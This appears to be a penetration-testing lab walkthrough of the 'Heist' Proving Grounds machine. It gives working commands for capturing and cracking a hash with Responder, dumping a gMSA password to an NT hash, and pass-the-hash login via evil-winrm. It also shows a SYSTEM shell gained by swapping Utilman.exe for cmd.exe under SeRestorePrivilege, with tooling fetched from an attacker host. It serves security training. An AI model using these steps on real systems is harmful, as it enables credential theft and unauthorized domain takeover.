> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/heist-1.md).

# Heist

## 8080

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-4e34fd57b05df1a2e04f58d177760fc08f5361e1%2F16a57306aa21f22ba1752596ef8761b3.png?alt=media) Now visiting our ip: while running responder:![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-c0be6b21449169fcd84577606faffbc87a48ace0%2F4ea2b458e2cdb797c36009eb7d45cb8c.png?alt=media) We can crack it: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-b7d90833e2db04adf843e590bf97261df57e9a7c%2F068eabe628e729a392e5b8ee4d467a31.png?alt=media) Now logging in with evil-winrm:

```
evil-winrm -i 192.168.180.165 -u enox -p 'california'
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-b58e816cd6bff64a87054bab5c3b1c70c800705f%2F09eb09ee93235a4ee0ec5f49d390f724.png?alt=media)

Found a todo list: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-69c9268a7d6290a9864cec83a1aa00642c4041e2%2F6ad5ff2fccd73e4932dba99fc980784a.png?alt=media) Could do something with gMSA

## gMSA

Now to find gMSA:

```
Get-ADServiceAccount -Filter * -Properties * | Select SamAccountName,PrincipalsAllowedToRetrieveManagedPassword,msDS-ManagedPasswordInterval,ServicePrincipalNames
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-85c598835e3d17a4054a68195f9b325cb5d13c3e%2F59736ff5c01e6086d2932ad7c5d60db6.png?alt=media) Web Admins are allowed to retrieve the password: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-2a4ccdf1b8865a8f32325591243a28d1fbbc4351%2F73f8e1960be1892e38ebb7a98c3235bc.png?alt=media) We belong to Web Admins.

To get password blob:

```
Get-ADServiceAccount  -Identity svc_apache -Properties 'msDS-ManagedPassword'
```

Now using DSInternals

```
wget http://192.168.45.167/DSInternals.zip -o DSInternals.zip
Unblock-File DSInternals.zip
Expand-Archive DSInternals.zip
cd DSInternals
cd DSInternals
import-module .\DSInternals.psd1
```

Now store the password as PSCredential object:

```
$cred = new-object system.management.automation.PSCredential "heist.offsec\svc_apache",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
```

Now login as svc\_apache using PSSession:

```
Enter-PSSession -ComputerName DC01 -Credential $cred
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-94d8bda055c3b189511cf5d0609a655511f649fb%2Ff49be790bf0fcaad81f224137dc7eb5b.png?alt=media)

We can also get NTLM Hashes with:

```
$gmsa = Get-ADServiceAccount -Identity "svc_apache" -Properties "msDS-ManagedPassword"
$mp = $gmsa.'msDS-ManagedPassword'
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash

```

## SeRestorePrivilege

Now logging in with winrm with the hash:

```bash
evil-winrm -i 192.168.180.165 -u 'svc_apache$' -H '023145fc00ce8bab62704eb63ab7bdab'
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ce999252fa7a627211c2ac0640a8687523c45b5d%2F2384695944516795997ae12ec2f9260f.png?alt=media) We have SeRestorPrivilege ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-154094d070898b0defb3ce2d3fdf7a05022e58b5%2F1d92a91da4e67ac8d0aa7f864e3e29cb.png?alt=media)

Now using this page: <https://github.com/gtworek/Priv2Admin> ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-2489cb2db1e1c090c86614a49b295032e44e558c%2Ff54b0e55a216ac779bf61981ab82ffa4.png?alt=media)

```
ren "C:/Windows/System32/Utilman.exe"  Utilman.old
```

```
ren "C:/Windows/SYstem32/cmd.exe" Utilman.exe
```

Now we can get to the lockscreen with rdesktop:

```
rdesktop 192.168.180.254
```

![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-0e3823bcc60a345a3da443cf8dbd8fec5706dbd1%2F815b7883b8d4d8ebf8175bd54adbacd9.png?alt=media) Now press `win + U` ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-1e7e470979050c44a52da682c8aca891a912e18f%2F70128606d6743f36ded129e883e01238.png?alt=media) We can transfer rcat and execute to get a proper shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-7f13de27f54fbb428c6d8026a4c8d169eca496de%2Fe7518d4fad58577ac086998c4edbf326.png?alt=media)